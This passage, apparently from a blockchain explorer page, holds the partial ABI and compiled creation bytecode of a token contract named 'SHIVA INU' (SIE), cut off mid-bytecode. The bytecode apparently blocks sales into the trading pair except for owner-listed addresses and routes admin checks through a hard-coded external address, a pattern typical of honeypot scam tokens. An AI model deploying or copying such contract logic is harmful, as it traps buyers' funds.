ool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"setAntiBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"setBotDetected","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Factory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"weth","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405273c065b93f322e3d013768e25a7265dc28635931fc6000553480156200002957600080fd5b506040518060400160405280600a81526020017f534849564120494e5520000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f53494500000000000000000000000000000000000000000000000000000000008152506009620f4240620000c4620000b86000546200076e60201b6200110b1760201c565b6200077e60201b60201c565b620000e4620000d8620007e660201b60201c565b620007ee60201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d600260006001815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600260006004815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507310ed43c718714eb63d5aa57b78b54704e256024e600260006038815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739ac64cc6e4415144c455bd8e4837fea55603e5c3600260006061815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507360ae616a2155ee3d9a68541ba4544862310933d46002600061a86a815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600d90805190602001906200030092919062000a40565b5082600e90805190602001906200031992919062000a40565b5081600f60006101000a81548160ff021916908360ff160217905550600082600a62000346919062000c8a565b8262000353919062000cdb565b905062000365620008b460201b60201c565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000413573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000439919062000da6565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200050d919062000da6565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620005ce92919062000de9565b6020604051808303816000875af1158015620005ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000614919062000da6565b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015620006fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000721919062000da6565b73ffffffffffffffffffffffffffffffffffffffff1614600f60016101000a81548160ff021916908315150217905550620007633382620008ef60201b60201c565b505050505062000fa5565b60008160001b60001c9050919050565b60007fb90fe532b37240954353f38fe729360f365263ffb3674bab1d07fe43d92573c060001b90508181557fc88fac1456d5bab0817617b9ef707c5cd4df5450ddf5da5816c584ccd464ac3a82604051620007da919062000e16565b60405180910390a15050565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002600046815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000961576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009589062000e94565b60405180910390fd5b80600c600082825462000975919062000eb6565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620009cd919062000eb6565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000a34919062000f24565b60405180910390a35050565b82805462000a4e9062000f70565b90600052602060002090601f01602090048101928262000a72576000855562000abe565b82601f1062000a8d57805160ff191683800117855562000abe565b8280016001018555821562000abe579182015b8281111562000abd57825182559160200191906001019062000aa0565b5b50905062000acd919062000ad1565b5090565b5b8082111562000aec57600081600090555060010162000ad2565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000b7e5780860481111562000b565762000b5562000af0565b5b600185161562000b665780820291505b808102905062000b768562000b1f565b945062000b36565b94509492505050565b60008262000b99576001905062000c6c565b8162000ba9576000905062000c6c565b816001811462000bc2576002811462000bcd5762000c03565b600191505062000c6c565b60ff84111562000be25762000be162000af0565b5b8360020a91508482111562000bfc5762000bfb62000af0565b5b5062000c6c565b5060208310610133831016604e8410600b841016171562000c3d5782820a90508381111562000c375762000c3662000af0565b5b62000c6c565b62000c4c848484600162000b2c565b9250905081840481111562000c665762000c6562000af0565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c978262000c73565b915062000ca48362000c7d565b925062000cd37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b87565b905092915050565b600062000ce88262000c73565b915062000cf58362000c73565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d315762000d3062000af0565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000d6e8262000d41565b9050919050565b62000d808162000d61565b811462000d8c57600080fd5b50565b60008151905062000da08162000d75565b92915050565b60006020828403121562000dbf5762000dbe62000d3c565b5b600062000dcf8482850162000d8f565b91505092915050565b62000de38162000d61565b82525050565b600060408201905062000e00600083018562000dd8565b62000e0f602083018462000dd8565b9392505050565b600060208201905062000e2d600083018462000dd8565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e7c601f8362000e33565b915062000e898262000e44565b602082019050919050565b6000602082019050818103600083015262000eaf8162000e6d565b9050919050565b600062000ec38262000c73565b915062000ed08362000c73565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f085762000f0762000af0565b5b828201905092915050565b62000f1e8162000c73565b82525050565b600060208201905062000f3b600083018462000f13565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f8957607f821691505b60208210810362000f9f5762000f9e62000f41565b5b50919050565b6130bd8062000fb56000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c806349bd5a5e116100c357806395d89b411161007c57806395d89b4114610393578063a457c2d7146103b1578063a9059cbb146103e1578063c57f8cfb14610411578063dd62ed3e1461042d578063f2fde38b1461045d57610158565b806349bd5a5e146102f557806359d0f7131461031357806370a0823114610331578063715018a6146103615780638129fc1c1461036b5780638da5cb5b1461037557610158565b806323b872dd1161011557806323b872dd14610221578063313ce56714610251578063395093511461026f5780633a03d7931461029f5780633fc8cef3146102bb57806342966c68146102d957610158565b806306fdde031461015d578063095ea7b31461017b578063158ef93e146101ab5780631694505e146101c957806318160ddd146101e7578063206a810f14610205575b600080fd5b610165610479565b60405161017291906122be565b60405180910390f35b61019560048036038101906101909190612379565b61050b565b6040516101a291906123d4565b60405180910390f35b6101b361051f565b6040516101c091906123d4565b60405180910390f35b6101d1610532565b6040516101de919061244e565b60405180910390f35b6101ef610558565b6040516101fc9190612478565b60405180910390f35b61021f600480360381019061021a9190612379565b610562565b005b61023b60048036038101906102369190612493565b610674565b60405161024891906123d4565b60405180910390f35b61025961068a565b6040516102669190612502565b60405180910390f35b61028960048036038101906102849190612379565b6106a1565b60405161029691906123d4565b60405180910390f35b6102b960048036038101906102b49190612549565b61074b565b005b6102c361085d565b6040516102d091906125aa565b60405180910390f35b6102f360048036038101906102ee91906125c5565b610883565b005b6102fd61099b565b60405161030a9190612613565b60405180910390f35b61031b6109c1565b604051610328919061264f565b60405180910390f35b61034b6004803603810190610346919061266a565b6109e7565b6040516103589190612478565b60405180910390f35b610369610a30565b005b610373610b40565b005b61037d610c39565b60405161038a91906126a6565b60405180910390f35b61039b610c63565b6040516103a891906122be565b60405180910390f35b6103cb60048036038101906103c69190612379565b610cf5565b6040516103d891906123d4565b60405180910390f35b6103fb60048036038101906103f69190612379565b610ddf565b60405161040891906123d4565b60405180910390f35b61042b60048036038101906104269190612549565b610df3565b005b610447600480360381019061044291906126c1565b610f05565b6040516104549190612478565b60405180910390f35b6104776004803603810190610472919061266a565b610f8c565b005b6060600d805461048890612730565b80601f01602080910402602001604051908101604052809291908181526020018280546104b490612730565b80156105015780601f106104d657610100808354040283529160200191610501565b820191906000526020600020905b8154815290600101906020018083116104e457829003601f168201915b5050505050905090565b6000610517838361111b565b905092915050565b600160149054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b61056a61113e565b73ffffffffffffffffffffffffffffffffffffffff16610588610c39565b73ffffffffffffffffffffffffffffffffffffffff1614806105e357506105ad61113e565b73ffffffffffffffffffffffffffffffffffffffff166105cb611146565b73ffffffffffffffffffffffffffffffffffffffff16145b8061062757506105f161113e565b73ffffffffffffffffffffffffffffffffffffffff1661060f611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065d906127ad565b60405180910390fd5b61067082826111f6565b5050565b600061068184848461133e565b90509392505050565b6000600f60009054906101000a900460ff16905090565b6000806106ac61113e565b9050610740818585600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461073b91906127fc565b61136d565b600191505092915050565b61075361113e565b73ffffffffffffffffffffffffffffffffffffffff16610771610c39565b73ffffffffffffffffffffffffffffffffffffffff1614806107cc575061079661113e565b73ffffffffffffffffffffffffffffffffffffffff166107b4611146565b73ffffffffffffffffffffffffffffffffffffffff16145b8061081057506107da61113e565b73ffffffffffffffffffffffffffffffffffffffff166107f8611177565b73ffffffffffffffffffffffffffffffffffffffff16145b61084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906127ad565b60405180910390fd5b6108598282611536565b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61088b61113e565b73ffffffffffffffffffffffffffffffffffffffff166108a9610c39565b73ffffffffffffffffffffffffffffffffffffffff16148061090457506108ce61113e565b73ffffffffffffffffffffffffffffffffffffffff166108ec611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80610948575061091261113e565b73ffffffffffffffffffffffffffffffffffffffff16610930611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097e906127ad565b60405180910390fd5b61099861099261113e565b82611591565b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a3861113e565b73ffffffffffffffffffffffffffffffffffffffff16610a56610c39565b73ffffffffffffffffffffffffffffffffffffffff161480610ab15750610a7b61113e565b73ffffffffffffffffffffffffffffffffffffffff16610a99611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80610af55750610abf61113e565b73ffffffffffffffffffffffffffffffffffffffff16610add611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b906127ad565b60405180910390fd5b610b3e6000611767565b565b610b48611146565b73ffffffffffffffffffffffffffffffffffffffff16610b6661113e565b73ffffffffffffffffffffffffffffffffffffffff1614610b8657600080fd5b600160149054906101000a900460ff1615610ba057600080fd5b60018060146101000a81548160ff0219169083151502179055506000610bc4611177565b9050610bf3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611536565b610bfe816001611536565b610c2b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161182d565b610c3681600161182d565b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600e8054610c7290612730565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9e90612730565b8015610ceb5780601f10610cc057610100808354040283529160200191610ceb565b820191906000526020600020905b815481529060010190602001808311610cce57829003601f168201915b5050505050905090565b600080610d0061113e565b90506000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbd906128c4565b60405180910390fd5b610dd3828686840361136d565b60019250505092915050565b6000610deb8383611888565b905092915050565b610dfb61113e565b73ffffffffffffffffffffffffffffffffffffffff16610e19610c39565b73ffffffffffffffffffffffffffffffffffffffff161480610e745750610e3e61113e565b73ffffffffffffffffffffffffffffffffffffffff16610e5c611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80610eb85750610e8261113e565b73ffffffffffffffffffffffffffffffffffffffff16610ea0611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee906127ad565b60405180910390fd5b610f01828261182d565b5050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f9461113e565b73ffffffffffffffffffffffffffffffffffffffff16610fb2610c39565b73ffffffffffffffffffffffffffffffffffffffff16148061100d5750610fd761113e565b73ffffffffffffffffffffffffffffffffffffffff16610ff5611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80611051575061101b61113e565b73ffffffffffffffffffffffffffffffffffffffff16611039611177565b73ffffffffffffffffffffffffffffffffffffffff16145b611090576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611087906127ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f690612956565b60405180910390fd5b61110881611767565b50565b60008160001b60001c9050919050565b60008061112661113e565b905061113381858561136d565b600191505092915050565b600033905090565b6000807fb90fe532b37240954353f38fe729360f365263ffb3674bab1d07fe43d92573c060001b9050805491505090565b6000611181611146565b73ffffffffffffffffffffffffffffffffffffffff16636e9960c36040518163ffffffff1660e01b81526004016020604051808303816000875af11580156111cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f1919061298b565b905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c90612a04565b60405180910390fd5b80600c600082825461127791906127fc565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112cd91906127fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113329190612478565b60405180910390a35050565b60008061134961113e565b90506113568582856118ab565b611361858585611937565b60019150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d390612a96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361144b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144290612b28565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115299190612478565b60405180910390a3505050565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f790612bba565b60405180910390fd5b61160b826000611bb7565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168990612c4c565b60405180910390fd5b818103600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600c60008282546116ea9190612c6c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161174f9190612478565b60405180910390a3611762836000611fa2565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008061189361113e565b90506118a0818585611937565b600191505092915050565b60006118b78484610f05565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119315781811015611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a90612cec565b60405180910390fd5b611930848484840361136d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d90612d7e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c90612e10565b60405180910390fd5b611a1f8383611bb7565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d90612ea2565b60405180910390fd5b818103600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b3b91906127fc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b9f9190612478565b60405180910390a3611bb18484611fa2565b50505050565b600160149054906101000a900460ff161580611bd85750611bd6611fa6565b155b15611be757611be5612030565b505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c9357600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c9257600080fd5b5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e6157600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611d6591906126a6565b602060405180830381865afa158015611d82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da69190612ed7565b611dae6120af565b10611e6057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611e5f57600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e5e57600080fd5b5b5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611f0c5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611f9e57600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9490612f50565b60405180910390fd5b5b5050565b5050565b6000611fb0611146565b73ffffffffffffffffffffffffffffffffffffffff166308160197306040518263ffffffff1660e01b8152600401611fe891906126a6565b6020604051808303816000875af1158015612007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202b9190612f85565b905090565b600061203a611146565b73ffffffffffffffffffffffffffffffffffffffff1663893d20e86040518163ffffffff1660e01b81526004016020604051808303816000875af1158015612086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120aa919061298b565b905090565b6000600f60019054906101000a900460ff1615612176576000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015612135573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121599190613034565b50506dffffffffffffffffffffffffffff16905080915050612222565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156121e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122099190613034565b506dffffffffffffffffffffffffffff16915050809150505b90565b600081519050919050565b600082825260208201905092915050565b60005b8381101561225f578082015181840152602081019050612244565b8381111561226e576000848401525b50505050565b6000601f19601f8301169050919050565b600061229082612225565b61229a8185612230565b93506122aa818560208601612241565b6122b381612274565b840191505092915050565b600060208201905081810360008301526122d88184612285565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612310826122e5565b9050919050565b61232081612305565b811461232b57600080fd5b50565b60008135905061233d81612317565b92915050565b6000819050919050565b61235681612343565b811461236157600080fd5b50565b6000813590506123738161234d565b92915050565b600080604083850312156123905761238f6122e0565b5b600061239e8582860161232e565b92505060206123af85828601612364565b9150509250929050565b60008115159050919050565b6123ce816123b9565b82525050565b60006020820190506123e960008301846123c5565b92915050565b6000819050919050565b600061241461240f61240a846122e5565b6123ef565b6122e5565b9050919050565b6000612426826123f9565b9050919050565b60006124388261241b565b9050919050565b6124488161242d565b82525050565b6000602082019050612463600083018461243f565b92915050565b61247281612343565b82525050565b600060208201905061248d6000830184612469565b92915050565b6000806000606084860312156124ac576124ab6122e0565b5b60006124ba8682870161232e565b93505060206124cb8682870161232e565b92505060406124dc86828701612364565b9150509250925092565b600060ff82169050919050565b6124fc816124e6565b82525050565b600060208201905061251760008301846124f3565b92915050565b612526816123b9565b811461253157600080fd5b50565b6000813590506125438161251d565b92915050565b600080604083850312156125605761255f6122e0565b5b600061256e8582860161232e565b925050602061257f85828601612534565b9150509250929050565b60006125948261241b565b9050919050565b6125a481612589565b82525050565b60006020820190506125bf600083018461259b565b92915050565b6000602082840312156125db576125da6122e0565b5b60006125e984828501612364565b91505092915050565b60006125fd8261241b565b9050919050565b61260d816125f2565b82525050565b60006020820190506126286000830184612604565b92915050565b60006126398261241b565b9050919050565b6126498161262e565b82525050565b60006020820190506126646000830184612640565b92915050565b6000602082840312156126805761267f6122e0565b5b600061268e8482850161232e565b91505092915050565b6126a081612305565b82525050565b60006020820190506126bb6000830184612697565b92915050565b600080604083850312156126d8576126d76122e0565b5b60006126e68582860161232e565b92505060206126f78582860161232e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061274857607f821691505b60208210810361275b5761275a612701565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612797602083612230565b91506127a282612761565b602082019050919050565b600060208201905081810360008301526127c68161278a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061280782612343565b915061281283612343565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612847576128466127cd565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006128ae602583612230565b91506128b982612852565b604082019050919050565b600060208201905081810360008301526128dd816128a1565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612940602683612230565b915061294b826128e4565b604082019050919050565b6000602082019050818103600083015261296f81612933565b9050919050565b60008151905061298581612317565b92915050565b6000602082840312156129a1576129a06122e0565b5b60006129af84828501612976565b91505092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006129ee601f83612230565b91506129f9826129b8565b602082019050919050565b60006020820190508181036000830152612a1d816129e1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612a80602483612230565b9150612a8b82612a24565b604082019050919050565b60006020820190508181036000830152612aaf81612a73565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b12602283612230565b9150612b1d82612ab6565b604082019050919050565b60006020820190508181036000830152612b4181612b05565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ba4602183612230565b9150612baf82612b48565b604082019050919050565b60006020820190508181036000830152612bd381612b97565b9050919050565b7